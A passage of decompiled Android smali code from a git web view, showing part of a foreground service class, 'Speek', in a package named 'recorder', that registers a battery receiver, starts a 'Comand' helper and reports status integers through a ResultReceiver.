||||
|
||||
const/16 v1, 0x1412
|
||||
|
||||
.line 31
|
||||
invoke-virtual {p0, v1, v0}, Lcom/nvav/srv/recorder/Speek;->startForeground(ILandroid/app/Notification;)V
|
||||
|
||||
.line 32
|
||||
new-instance v0, Lcom/nvav/srv/recorder/Speek$1;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/Speek$1;-><init>(Lcom/nvav/srv/recorder/Speek;)V
|
||||
|
||||
new-instance v1, Landroid/content/IntentFilter;
|
||||
|
||||
const-string v2, "android.intent.action.BATTERY_CHANGED"
|
||||
|
||||
invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {p0, v0, v1}, Lcom/nvav/srv/recorder/Speek;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
|
||||
|
||||
.line 51
|
||||
new-instance v0, Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/Comand;-><init>(Lcom/nvav/srv/recorder/Speek;)V
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
.line 52
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/Comand;->start()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDestroy()V
|
||||
.locals 1
|
||||
|
||||
.line 57
|
||||
invoke-super {p0}, Landroid/app/Service;->onDestroy()V
|
||||
|
||||
.line 58
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/Comand;->Close()V
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
.line 59
|
||||
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/Speek;->stopForeground(Z)V
|
||||
|
||||
.line 60
|
||||
invoke-virtual {p0}, Lcom/nvav/srv/recorder/Speek;->stopSelf()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onStartCommand(Landroid/content/Intent;II)I
|
||||
.locals 0
|
||||
|
||||
.line 66
|
||||
:try_start_0
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
|
||||
|
||||
if-nez p2, :cond_0
|
||||
|
||||
const-string p2, "reciver"
|
||||
|
||||
invoke-virtual {p1, p2}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/os/ResultReceiver;
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 68
|
||||
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:cond_0
|
||||
:goto_0
|
||||
const/4 p1, 0x1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
|
||||
.method public onUnbind(Landroid/content/Intent;)Z
|
||||
.locals 0
|
||||
|
||||
.line 26
|
||||
invoke-super {p0, p1}, Landroid/app/Service;->onUnbind(Landroid/content/Intent;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
|
||||
.method public send_status(I)V
|
||||
.locals 2
|
||||
|
||||
.line 75
|
||||
new-instance v0, Landroid/os/Bundle;
|
||||
|
||||
invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
|
||||
|
||||
.line 76
|
||||
const-string v1, "status"
|
||||
|
||||
invoke-virtual {v0, v1, p1}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
|
||||
|
||||
.line 77
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
const/16 v1, 0x64
|
||||
|
||||
invoke-virtual {p1, v1, v0}, Landroid/os/ResultReceiver;->send(ILandroid/os/Bundle;)V
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
Reference in New Issue
Block a user